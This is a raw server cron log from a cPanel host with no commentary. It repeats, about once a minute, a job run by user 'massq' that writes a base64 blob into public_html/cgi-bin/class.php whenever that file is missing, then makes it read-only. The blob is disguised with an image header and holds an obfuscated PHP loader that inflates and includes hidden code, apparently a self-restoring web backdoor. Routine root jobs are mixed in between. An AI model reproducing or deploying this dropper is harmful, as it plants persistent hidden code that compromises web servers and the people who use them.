Nov 13 05:38:01 server CROND[13692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:39:01 server CROND[14562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:39:01 server CROND[14563]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:40:01 server CROND[15450]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 05:40:01 server CROND[15451]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:40:01 server CROND[15453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:40:01 server CROND[15452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:41:01 server CROND[16310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:42:01 server CROND[17172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:42:01 server CROND[17173]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:43:01 server CROND[18162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:44:01 server CROND[19028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:45:01 server CROND[19895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:45:01 server CROND[19896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:45:01 server CROND[19897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:46:01 server CROND[20816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:47:01 server CROND[21687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:48:01 server CROND[22646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:49:01 server CROND[23259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:50:01 server CROND[24132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 05:50:01 server CROND[24134]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:50:01 server CROND[24144]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 05:50:01 server CROND[24143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:50:01 server CROND[24145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
